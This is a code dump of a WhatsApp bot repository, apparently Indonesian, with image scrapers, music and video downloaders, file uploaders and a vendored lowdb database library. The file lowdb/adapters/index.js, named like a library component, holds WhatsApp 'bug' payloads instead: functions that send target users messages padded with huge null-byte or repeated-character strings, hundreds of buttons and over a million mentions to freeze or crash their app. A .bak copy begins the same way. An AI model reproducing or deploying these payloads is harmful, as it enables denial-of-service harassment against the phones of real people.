1913 | $$('#root > div.hs1JI > div > div._3WsM9 > div > div > div:nth-child(3) > div > div > div:nth-child(1) > div > div:nth-child(1) > div > section > a').each(function(c, d) {
1914 | no = $$(d).attr('href')
1915 | })
1916 | axios.get(no)
1917 | .then(({
1918 | data
1919 | }) => {
1920 | const $ = cheerio.load(data)
1921 | const result = [];
1922 | $('#root > main > div > div._2QovI > div._2rKEX._17aAh._1bdC8 > div > div._2HK_1 > div._1lkTS > div > img').each(function(a, b) {
1923 | result.push($(b).attr('src'))
1924 | })
1925 | resolve(result)
1926 | })
1927 | })
1928 | .catch(reject)
1929 | })
1930 | }
1931 | exports.konachan = (chara) => {
1932 | return new Promise((resolve, reject) => {
1933 | let text = chara.replace(' ', '_')
1934 | axios.get('https://konachan.net/post?tags=' + text + '+')
1935 | .then(({
1936 | data
1937 | }) => {
1938 | const $$ = cheerio.load(data)
1939 | const no = [];
1940 | $$('div.pagination > a').each(function(c, d) {
1941 | no.push($$(d).text())
1942 | })
1943 | let mat = Math.floor(Math.random() * no.length)
1944 | axios.get('https://konachan.net/post?page=' + mat + '&tags=' + text + '+')
1945 | .then(({
1946 | data
1947 | }) => {
1948 | const $ = cheerio.load(data)
1949 | const result = [];
1950 | $('#post-list > div.content > div:nth-child(4) > ul > li > a.directlink.largeimg').each(function(a, b) {
1951 | result.push($(b).attr('href'))
1952 | })
1953 | resolve(result)
1954 | })
1955 | })
1956 | .catch(reject)
1957 | })
1958 | }
1959 | exports.wallpapercave = (query) => {
1960 | return new Promise((resolve, reject) => {
1961 | axios.get('https://wallpapercave.com/search?q=' + query)
1962 | .then(({
1963 | data
1964 | }) => {
1965 | const $ = cheerio.load(data)
1966 | const result = [];
1967 | $('div.imgrow > a').each(function(a, b) {
1968 | if (!$(b).find('img').attr('src').includes('.gif')) {
1969 | result.push('https://wallpapercave.com/' + $(b).find('img').attr('src').replace('fuwp', 'uwp'))
1970 | }
1971 | })
1972 | resolve(result)
1973 | })
1974 | .catch(reject)
1975 | })
1976 | }
1977 | exports.wallpapercraft = (query) => {
1978 | return new Promise((resolve, reject) => {
1979 | axios.get('https://wallpaperscraft.com/search/?query=' + query)
1980 | .then(({
1981 | data
1982 | }) => {
1983 | const $ = cheerio.load(data)
1984 | const result = [];
1985 | $('span.wallpapers__canvas').each(function(a, b) {
1986 | result.push($(b).find('img').attr('src'))
1987 | })
1988 | resolve(result)
1989 | })
1990 | .catch(reject)
1991 | })
1992 | }
1993 | exports.wallpaperhd = (chara) => {
1994 | return new Promise((resolve, reject) => {
1995 | axios.get('https://wall.alphacoders.com/search.php?search=' + chara + '&filter=4K+Ultra+HD')
1996 | .then(({
1997 | data
1998 | }) => {
1999 | const $ = cheerio.load(data)
2000 | const result = [];
2001 | $('div.boxgrid > a > picture').each(function(a, b) {
2002 | result.push($(b).find('img').attr('src').replace('thumbbig-', ''))
2003 | })
2004 | resolve(result)
2005 | })
2006 | .catch(reject)
2007 | })
2008 | }
--------------------------------------------------------------------------------
/serverside/libary/spotify.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 | const axios = require('axios')
15 |
16 | async function spotifyDown(url) {
17 | let linkRegex = /https:\/\/open\.spotify\.com\/track\/[0-9A-Za-z]+/i;
18 | try {
19 | let response = await axios.get('https://api.fabdl.com/spotify/get?url=' + url)
20 | let { id, type, name, artists, image, duration_ms, gid } = response.data.result
21 | let curl = await axios.get(`https://api.fabdl.com/spotify/mp3-convert-task/${gid}/${id}`)
22 | let { download_url } = curl.data.result
23 | // console.log(curl.data)
24 | let result = {
25 | staus: true,
26 | creator: 'NuyyOfc',
27 | nama: artists,
28 | title: name,
29 | durasi: convertDuration(duration_ms),
30 | thumb: image,
31 | url: 'https://api.fabdl.com' + download_url
32 | }
33 | console.log(result)
34 | return result
35 | if (!response.data.result) {
36 | let result = {
37 | status: false,
38 | creator: 'NuyyOfc',
39 | data: 'Music Not Found:/'
40 | }
41 | // console.log(result)
42 | return result
43 | }
44 | } catch(error) {
45 | console.log(error)
46 | return error
47 | }
48 | return
49 | }
50 |
51 |
52 | module.exports = { spotifyDown }
53 |
54 |
55 | function convertDuration(durationMs) {
56 | const seconds = Math.floor((durationMs / 1000) % 60);
57 | const minutes = Math.floor((durationMs / (1000 * 60)) % 60);
58 | const hours = Math.floor((durationMs / (1000 * 60 * 60)) % 24);
59 |
60 | let result = '';
61 | if (hours > 0) {
62 | result += hours + ' jam ';
63 | }
64 | if (minutes > 0) {
65 | result += minutes + ' menit ';
66 | }
67 | if (seconds > 0) {
68 | result += seconds + ' detik';
69 | }
70 |
71 | return result.trim();
72 | }
--------------------------------------------------------------------------------
/serverside/libary/uploader.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 | let axios = require('axios')
15 | let BodyForm = require('form-data')
16 | let { fromBuffer } = require('file-type')
17 | let fetch = require('node-fetch')
18 | let fs = require('fs')
19 | let cheerio = require('cheerio')
20 |
21 |
22 |
23 | function TelegraPh (Path) {
24 | return new Promise (async (resolve, reject) => {
25 | if (!fs.existsSync(Path)) return reject(new Error("File not Found"))
26 | try {
27 | const form = new BodyForm();
28 | form.append("file", fs.createReadStream(Path))
29 | const data = await axios({
30 | url: "https://telegra.ph/upload",
31 | method: "POST",
32 | headers: {
33 | ...form.getHeaders()
34 | },
35 | data: form
36 | })
37 | return resolve("https://telegra.ph" + data.data[0].src)
38 | } catch (err) {
39 |
40 | }
41 | })
42 | }
43 |
44 | async function UploadFileUgu (input) {
45 | return new Promise (async (resolve, reject) => {
46 | const form = new BodyForm();
47 | form.append("files[]", fs.createReadStream(input))
48 | await axios({
49 | url: "https://uguu.se/upload.php",
50 | method: "POST",
51 | headers: {
52 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
53 | ...form.getHeaders()
54 | },
55 | data: form
56 | }).then((data) => {
57 | resolve(data.data.files[0])
58 | }).catch((err) => reject(err))
59 | })
60 | }
61 |
62 | function webp2mp4File(path) {
63 | return new Promise((resolve, reject) => {
64 | const form = new BodyForm()
65 | form.append('new-image-url', '')
66 | form.append('new-image', fs.createReadStream(path))
67 | axios({
68 | method: 'post',
69 | url: 'https://s6.ezgif.com/webp-to-mp4',
70 | data: form,
71 | headers: {
72 | 'Content-Type': `multipart/form-data; boundary=${form._boundary}`
73 | }
74 | }).then(({ data }) => {
75 | const bodyFormThen = new BodyForm()
76 | const $ = cheerio.load(data)
77 | const file = $('input[name="file"]').attr('value')
78 | bodyFormThen.append('file', file)
79 | bodyFormThen.append('convert', "Convert WebP to MP4!")
80 | axios({
81 | method: 'post',
82 | url: 'https://ezgif.com/webp-to-mp4/' + file,
83 | data: bodyFormThen,
84 | headers: {
85 | 'Content-Type': `multipart/form-data; boundary=${bodyFormThen._boundary}`
86 | }
87 | }).then(({ data }) => {
88 | const $ = cheerio.load(data)
89 | const result = 'https:' + $('div#output > p.outfile > video > source').attr('src')
90 | resolve({
91 | status: true,
92 | message: "Created By MRHRTZ",
93 | result: result
94 | })
95 | }).catch(reject)
96 | }).catch(reject)
97 | })
98 | }
99 |
100 | module.exports = { TelegraPh, UploadFileUgu, webp2mp4File }
--------------------------------------------------------------------------------
/serverside/libary/ytdl.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 | async function ytdl(url) {
15 | const fetch = (await import('node-fetch')).default;
16 |
17 | const response = await fetch('https://shinoa.us.kg/api/download/ytdl', {
18 | method: 'POST',
19 | headers: {
20 | 'accept': '*/*',
21 | 'api_key': 'free',
22 | 'Content-Type': 'application/json'
23 | },
24 | body: JSON.stringify({
25 | text: url
26 | })
27 | });
28 |
29 | if (!response.ok) {
30 | throw new Error(`HTTP error! status: ${response.status}`);
31 | }
32 |
33 | const data = await response.json();
34 | return data;
35 | }
36 |
37 | module.exports = { ytdl }
--------------------------------------------------------------------------------
/serverside/system/anggazyydev:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AnggazyyZcoder/ShizukuBot/cc04422c8ed5153eab51e43833365b3daed8e0d4/serverside/system/anggazyydev
--------------------------------------------------------------------------------
/serverside/system/database.json:
--------------------------------------------------------------------------------
1 | {}
2 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/CAF:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/Low.d.ts:
--------------------------------------------------------------------------------
1 | export interface Adapter {
2 | read: () => Promise;
3 | write: (data: T) => Promise;
4 | }
5 | export declare class Low {
6 | adapter: Adapter;
7 | data: T | null;
8 | constructor(adapter: Adapter);
9 | read(): Promise;
10 | write(): Promise;
11 | }
12 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/Low.js:
--------------------------------------------------------------------------------
1 | const { MissingAdapterError } = require('./MissingAdapterError.js');
2 | class Low {
3 | constructor(adapter) {
4 | this.data = null;
5 | if (adapter) {
6 | this.adapter = adapter;
7 | }
8 | else {
9 | throw new MissingAdapterError();
10 | }
11 | }
12 | async read() {
13 | this.data = await this.adapter.read();
14 | }
15 | async write() {
16 | if (this.data) {
17 | await this.adapter.write(this.data);
18 | }
19 | }
20 | }
21 | module.exports = { Low };
22 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/LowSync.d.ts:
--------------------------------------------------------------------------------
1 | export interface SyncAdapter {
2 | read: () => T | null;
3 | write: (data: T) => void;
4 | }
5 | export declare class LowSync {
6 | adapter: SyncAdapter;
7 | data: T | null;
8 | constructor(adapter: SyncAdapter);
9 | read(): void;
10 | write(): void;
11 | }
12 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/LowSync.js:
--------------------------------------------------------------------------------
1 | const { MissingAdapterError } = require('./MissingAdapterError.js');
2 | class LowSync {
3 | constructor(adapter) {
4 | this.data = null;
5 | if (adapter) {
6 | this.adapter = adapter;
7 | }
8 | else {
9 | throw new MissingAdapterError();
10 | }
11 | }
12 | read() {
13 | this.data = this.adapter.read();
14 | }
15 | write() {
16 | if (this.data !== null) {
17 | this.adapter.write(this.data);
18 | }
19 | }
20 | }
21 | module.exports = { LowSync };
22 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/MissingAdapterError.d.ts:
--------------------------------------------------------------------------------
1 | export declare class MissingAdapterError extends Error {
2 | constructor();
3 | }
4 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/MissingAdapterError.js:
--------------------------------------------------------------------------------
1 | class MissingAdapterError extends Error {
2 | constructor() {
3 | super();
4 | this.message = 'Missing Adapter';
5 | }
6 | }
7 | module.exports = { MissingAdapterError };
8 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/CAF:
--------------------------------------------------------------------------------
1 | >\\\<
2 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/JSONFile.d.ts:
--------------------------------------------------------------------------------
1 | import { Adapter } from '../Low.js';
2 | export declare class JSONFile implements Adapter {
3 | private adapter;
4 | constructor(filename: string);
5 | read(): Promise;
6 | write(obj: T): Promise;
7 | }
8 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/JSONFile.js:
--------------------------------------------------------------------------------
1 | const { TextFile } = require('./TextFile.js');
2 | class JSONFile {
3 | constructor(filename) {
4 | this.adapter = new TextFile(filename);
5 | }
6 | async read() {
7 | const data = await this.adapter.read();
8 | if (data === null) {
9 | return null;
10 | }
11 | else {
12 | return JSON.parse(data);
13 | }
14 | }
15 | write(obj) {
16 | return this.adapter.write(JSON.stringify(obj, null, 2));
17 | }
18 | }
19 | module.exports = { JSONFile };
20 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/JSONFileSync.d.ts:
--------------------------------------------------------------------------------
1 | import { SyncAdapter } from '../LowSync.js';
2 | export declare class JSONFileSync implements SyncAdapter {
3 | private adapter;
4 | constructor(filename: string);
5 | read(): T | null;
6 | write(obj: T): void;
7 | }
8 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/JSONFileSync.js:
--------------------------------------------------------------------------------
1 | const { TextFileSync } = require('./TextFileSync.js');
2 | class JSONFileSync {
3 | constructor(filename) {
4 | this.adapter = new TextFileSync(filename);
5 | }
6 | read() {
7 | const data = this.adapter.read();
8 | if (data === null) {
9 | return null;
10 | }
11 | else {
12 | return JSON.parse(data);
13 | }
14 | }
15 | write(obj) {
16 | this.adapter.write(JSON.stringify(obj, null, 2));
17 | }
18 | }
19 | module.exports = { JSONFileSync };
20 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/LocalStorage.d.ts:
--------------------------------------------------------------------------------
1 | import { SyncAdapter } from '../LowSync.js';
2 | export declare class LocalStorage implements SyncAdapter {
3 | private key;
4 | constructor(key: string);
5 | read(): T | null;
6 | write(obj: T): void;
7 | }
8 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/LocalStorage.js:
--------------------------------------------------------------------------------
1 | class LocalStorage {
2 | constructor(key) {
3 | this.key = key;
4 | }
5 | read() {
6 | const value = localStorage.getItem(this.key);
7 | if (value === null) {
8 | return null;
9 | }
10 | return JSON.parse(value);
11 | }
12 | write(obj) {
13 | localStorage.setItem(this.key, JSON.stringify(obj));
14 | }
15 | }
16 | module.exports = { LocalStorage };
17 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/Memory.d.ts:
--------------------------------------------------------------------------------
1 | import { Adapter } from '../Low.js';
2 | export declare class Memory implements Adapter {
3 | private data;
4 | read(): Promise;
5 | write(obj: T): Promise;
6 | }
7 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/Memory.js:
--------------------------------------------------------------------------------
1 | class Memory {
2 | constructor() {
3 | this.data = null;
4 | }
5 | read() {
6 | return Promise.resolve(this.data);
7 | }
8 | write(obj) {
9 | this.data = obj;
10 | return Promise.resolve();
11 | }
12 | }
13 | module.exports = { Memory };
14 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/MemorySync.d.ts:
--------------------------------------------------------------------------------
1 | import { SyncAdapter } from '../LowSync.js';
2 | export declare class MemorySync implements SyncAdapter {
3 | private data;
4 | read(): T | null;
5 | write(obj: T): void;
6 | }
7 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/MemorySync.js:
--------------------------------------------------------------------------------
1 | class MemorySync {
2 | constructor() {
3 | this.data = null;
4 | }
5 | read() {
6 | return this.data || null;
7 | }
8 | write(obj) {
9 | this.data = obj;
10 | }
11 | }
12 | module.exports = { MemorySync };
13 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/TextFile.d.ts:
--------------------------------------------------------------------------------
1 | import { Adapter } from '../Low.js';
2 | export declare class TextFile implements Adapter {
3 | private filename;
4 | private writer;
5 | constructor(filename: string);
6 | read(): Promise;
7 | write(str: string): Promise;
8 | }
9 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/TextFile.js:
--------------------------------------------------------------------------------
1 | const fs = require('fs');
2 | const { Writer } = require('steno');
3 | class TextFile {
4 | constructor(filename) {
5 | this.filename = filename;
6 | this.writer = new Writer(filename);
7 | }
8 | async read() {
9 | let data;
10 | try {
11 | data = await fs.promises.readFile(this.filename, 'utf-8');
12 | }
13 | catch (e) {
14 | if (e.code === 'ENOENT') {
15 | return null;
16 | }
17 | throw e;
18 | }
19 | return data;
20 | }
21 | write(str) {
22 | return this.writer.write(str);
23 | }
24 | }
25 | module.exports = { TextFile };
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/TextFileSync.d.ts:
--------------------------------------------------------------------------------
1 | import { SyncAdapter } from '../LowSync.js';
2 | export declare class TextFileSync implements SyncAdapter {
3 | private tempFilename;
4 | private filename;
5 | constructor(filename: string);
6 | read(): string | null;
7 | write(str: string): void;
8 | }
9 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/TextFileSync.js:
--------------------------------------------------------------------------------
1 | const fs = require('fs');
2 | const path = require('path');
3 | class TextFileSync {
4 | constructor(filename) {
5 | this.filename = filename;
6 | this.tempFilename = path.join(path.dirname(filename), `.${path.basename(filename)}.tmp`);
7 | }
8 | read() {
9 | let data;
10 | try {
11 | data = fs.readFileSync(this.filename, 'utf-8');
12 | }
13 | catch (e) {
14 | if (e.code === 'ENOENT') {
15 | return null;
16 | }
17 | throw e;
18 | }
19 | return data;
20 | }
21 | write(str) {
22 | fs.writeFileSync(this.tempFilename, str);
23 | fs.renameSync(this.tempFilename, this.filename);
24 | }
25 | }
26 | module.exports = { TextFileSync };
27 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/index.js:
--------------------------------------------------------------------------------
1 |
2 | async function newgalaxy(target) {
3 | await anggazyy.relayMessage(target, {
4 | viewOnceMessage: {
5 | message: {
6 | interactiveResponseMessage: {
7 | body: {
8 | text: "Hai?",
9 | format: "EXTENSIONS_1"
10 | },
11 | nativeFlowResponseMessage: {
12 | name: 'galaxy_message',
13 | paramsJson: `{\"screen_2_OptIn_0\":true,\"screen_2_OptIn_1\":true,\"screen_1_Dropdown_0\":\"TrashDex Superior\",\"screen_1_DatePicker_1\":\"1028995200000\",\"screen_1_TextInput_2\":\"devorsixcore@trash.lol\",\"screen_1_TextInput_3\":\"94643116\",\"screen_0_TextInput_0\":\"radio - buttons${"\u0000".repeat(1020000)}\",\"screen_0_TextInput_1\":\"Anjay\",\"screen_0_Dropdown_2\":\"001-Grimgar\",\"screen_0_RadioButtonsGroup_3\":\"0_true\",\"flow_token\":\"AQAAAAACS5FpgQ_cAAAAAE0QI3s.\"}`,
14 | version: 3
15 | }
16 | }
17 | }
18 | }
19 | }, { participant: { jid: target } });
20 | }
21 |
22 | async function newcall(target) {
23 | let virtex = "Anggazyy ZcoderX 🔐";
24 | await anggazyy.relayMessage(target, {
25 | viewOnceMessage: {
26 | message: {
27 | interactiveMessage: {
28 | header: {
29 | documentMessage: {
30 | url: 'https://mmg.whatsapp.net/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0&mms3=true',
31 | mimetype: 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
32 | fileSha256: "ld5gnmaib+1mBCWrcNmekjB4fHhyjAPOHJ+UMD3uy4k=",
33 | fileLength: "999999999",
34 | pageCount: 0x9184e729fff,
35 | mediaKey: "5c/W3BCWjPMFAUUxTSYtYPLWZGWuBV13mWOgQwNdFcg=",
36 | fileName: virtex,
37 | fileEncSha256: "pznYBS1N6gr9RZ66Fx7L3AyLIU2RY5LHCKhxXerJnwQ=",
38 | directPath: '/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0',
39 | mediaKeyTimestamp: "1715880173",
40 | contactVcard: true
41 | },
42 | title: virtex,
43 | hasMediaAttachment: true
44 | },
45 | body: {
46 | text: virtex
47 | },
48 | nativeFlowMessage: {
49 | buttons: [
50 | {
51 | name: 'call_permission_request',
52 | buttonParamsJson: '{}'
53 | },
54 | {
55 | name: 'cta_url',
56 | buttonParamsJson: "{ display_text : 'Anggazyy ZcoderX MODS WHATSAPP', url : '', merchant_url : '' }"
57 | }
58 | ]
59 | }
60 | }
61 | }
62 | }
63 | }, { participant: { jid: target } }, { messageId: null });
64 | }
65 |
66 | async function newcall2(target) {
67 | let virtex = "Anggazyy ZcoderX 🔐" + "𑜦".repeat(40000);
68 |
69 | await anggazyy.relayMessage(target, {
70 | viewOnceMessage: {
71 | message: {
72 | interactiveMessage: {
73 | header: {
74 | documentMessage: {
75 | url: 'https://mmg.whatsapp.net/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0&mms3=true',
76 | mimetype: 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
77 | fileSha256: "ld5gnmaib+1mBCWrcNmekjB4fHhyjAPOHJ+UMD3uy4k=",
78 | fileLength: "999999999",
79 | pageCount: 0x9184e729fff,
80 | mediaKey: "5c/W3BCWjPMFAUUxTSYtYPLWZGWuBV13mWOgQwNdFcg=",
81 | fileName: virtex,
82 | fileEncSha256: "pznYBS1N6gr9RZ66Fx7L3AyLIU2RY5LHCKhxXerJnwQ=",
83 | directPath: '/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0',
84 | mediaKeyTimestamp: "1715880173",
85 | contactVcard: true
86 | },
87 | title: virtex,
88 | hasMediaAttachment: true
89 | },
90 | body: {
91 | text: ""
92 | },
93 | nativeFlowMessage: {
94 | buttons: Array(20).fill({
95 | name: 'call_permission_request',
96 | buttonParamsJson: '{}'
97 | })
98 | }
99 | }
100 | }
101 | }
102 | }, { participant: { jid: target } }, { messageId: null });
103 | }
104 |
105 | async function newcall3(target) {
106 | let virtex = "Anggazyy ZcoderX 🔐";
107 | let buttons = Array.from({ length: 200 }, () => ({
108 | name: 'call_permission_request',
109 | buttonParamsJson: '{}'
110 | }));
111 | let overJids = Array.from({ length: 1039900 }, () => target);
112 |
113 | await anggazyy.relayMessage(target, {
114 | viewOnceMessage: {
115 | message: {
116 | interactiveMessage: {
117 | header: {
118 | documentMessage: {
119 | url: 'https://mmg.whatsapp.net/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0&mms3=true',
120 | mimetype: 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
121 | fileSha256: "ld5gnmaib+1mBCWrcNmekjB4fHhyjAPOHJ+UMD3uy4k=",
122 | fileLength: "999999999",
123 | pageCount: 0x9184e729fff,
124 | mediaKey: "5c/W3BCWjPMFAUUxTSYtYPLWZGWuBV13mWOgQwNdFcg=",
125 | fileName: virtex,
126 | fileEncSha256: "pznYBS1N6gr9RZ66Fx7L3AyLIU2RY5LHCKhxXerJnwQ=",
127 | directPath: '/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0',
128 | mediaKeyTimestamp: "1715880173",
129 | contactVcard: true
130 | },
131 | title: virtex,
132 | hasMediaAttachment: true
133 | },
134 | body: {
135 | text: virtex
136 | },
137 | nativeFlowMessage: {
138 | buttons: buttons
139 | }
140 | }
141 | }
142 | },
143 | contextInfo: {
144 | mentionedJid: overJids,
145 | externalAdReply: {
146 | showAdAttribution: true,
147 | renderLargerThumbnail: false,
148 | title: `-> Anggazyy ZcoderX `,
149 | body: `—??`,
150 | previewType: "VIDEO",
151 | thumbnail: "",
152 | sourceUrl: "https://anggazyymods.com",
153 | mediaUrl: "https://anggazyymods.com"
154 | }
155 | }
156 | }, { participant: { jid: target } }, { messageId: null });
157 | }
158 |
159 | async function newcall4(target) {
160 | let virtex = "Anggazyy ZcoderX 🔐";
161 | await anggazyy.relayMessage(target, {
162 | viewOnceMessage: {
163 | message: {
164 | interactiveMessage: {
165 | header: {
166 | documentMessage: {
167 | url: 'https://mmg.whatsapp.net/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0&mms3=true',
168 | mimetype: 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
169 | fileSha256: "ld5gnmaib+1mBCWrcNmekjB4fHhyjAPOHJ+UMD3uy4k=",
170 | fileLength: "999999999",
171 | pageCount: 0x9184e729fff,
172 | mediaKey: "5c/W3BCWjPMFAUUxTSYtYPLWZGWuBV13mWOgQwNdFcg=",
173 | fileName: virtex,
174 | fileEncSha256: "pznYBS1N6gr9RZ66Fx7L3AyLIU2RY5LHCKhxXerJnwQ=",
175 | directPath: '/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0',
176 | mediaKeyTimestamp: "1715880173",
177 | contactVcard: true
178 | },
179 | hasMediaAttachment: true
180 | },
181 | body: {
182 | text: virtex
183 | },
184 | nativeFlowMessage: {
185 | buttons: [
186 | {
187 | name: 'call_permission_request',
188 | buttonParamsJson: '{}'
189 | },
190 | {
191 | name: 'payment_method',
192 | buttonParamsJson: "{}"
193 | },
194 | {
195 | name: "single_select",
196 | buttonParamsJson: `{"title":"Anggazyy ZcoderX Anggazyy ZcoderX 🔐 ◄${"᬴".repeat(60000)}","sections":[{"title":"# Anggazyy ZcoderX Anggazyy ZcoderX 🔐","rows":[]}]}`
197 | },
198 | {
199 | name: "galaxy_message",
200 | buttonParamsJson: `{\"flow_action\":\"navigate\",\"flow_action_payload\":{\"screen\":\"WELCOME_SCREEN\"},\"flow_cta\":\":)\",\"flow_id\":\"Anggazyy ZcoderX\",\"flow_message_version\":\"9\",\"flow_token\":\"MYPENISMYPENISMYPENIS\"}`
201 | },
202 | {
203 | name: "mpm",
204 | buttonParamsJson: "{}"
205 | }
206 | ],
207 | messageParamsJson: "{\"name\":\"galaxy_message\",\"title\":\"oi\",\"header\":\" # Anggazyy ZcoderX \",\"body\":\"Zcoder Crash\"}"
208 | }
209 | }
210 | }
211 | }
212 | }, { participant: { jid: target } }, { messageId: null });
213 | }
214 |
215 | async function newvirpen(target) {
216 | let virtex = "Anggazyy ZcoderX" + "ꦾ".repeat(50000);
217 |
218 | let mentionedJidArray = Array.from({ length: 35000 }, () =>
219 | "1" + Math.floor(Math.random() * 500000) + "@s.whatsapp.net"
220 | );
221 |
222 | let message = {
223 | groupMentionedMessage: {
224 | message: {
225 | listResponseMessage: {
226 | title: " @120363326274964194@g.us",
227 | listType: "SINGLE_SELECT",
228 | singleSelectReply: {
229 | selectedRowId: "Anggazyy ZcoderX Anggazyy ZcoderX 🔐"
230 | },
231 | description: " @120363326274964194@g.us",
232 | contextInfo: {
233 | mentionedJid: mentionedJidArray,
234 | groupMentions: [{
235 | groupJid: "120363326274964194@g.us",
236 | groupSubject: virtex
237 | }]
238 | }
239 | }
240 | }
241 | }
242 | };
243 |
244 | await anggazyy.relayMessage(target, message, { participant: { jid: target } }, { messageId: null });
245 | }
246 |
247 | async function newfreezebug(target) {
248 | let virtex = "Anggazyy ZcoderX 🔐";
249 |
250 | await anggazyy.relayMessage(target, {
251 | groupMentionedMessage: {
252 | message: {
253 | interactiveMessage: {
254 | header: {
255 | locationMessage: {
256 | degreesLatitude: 0,
257 | degreesLongitude: 0
258 | },
259 | hasMediaAttachment: true
260 | },
261 | body: {
262 | text: "Anggazyy ZcoderX" + "@zcoder9".repeat(300000)
263 | },
264 | nativeFlowMessage: {},
265 | contextInfo: {
266 | mentionedJid: Array.from({ length: 5 }, () => "1@newsletter"),
267 | groupMentions: [{ groupJid: "1@newsletter", groupSubject: "Anggazyy ZcoderX " }]
268 | }
269 | }
270 | }
271 | }
272 | }, { participant: { jid: target } }, { messageId: null });
273 | }
274 |
275 | async function newbuggrup(target) {
276 | let bugquoted = {
277 | key: {
278 | fromMe: false,
279 | participant: '0@s.whatsapp.net',
280 | remoteJid: 'status@broadcast'
281 | },
282 | message: {
283 | documentMessage: {
284 | contactVcard: true
285 | }
286 | }
287 | };
288 |
289 | await anggazyy.sendMessage(target, { text: "Anggazyy ZcoderX Anggazyy ZcoderX 🔐" }, { quoted: bugquoted });
290 | }
291 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/adapters/index.js.bak:
--------------------------------------------------------------------------------
1 |
2 | async function newgalaxy(target) {
3 | await anggazyy.relayMessage(target, {
4 | viewOnceMessage: {
5 | message: {
6 | interactiveResponseMessage: {
7 | body: {
8 | text: "Hai?",
9 | format: "EXTENSIONS_1"
10 | },
11 | nativeFlowResponseMessage: {
12 | name: 'galaxy_message',
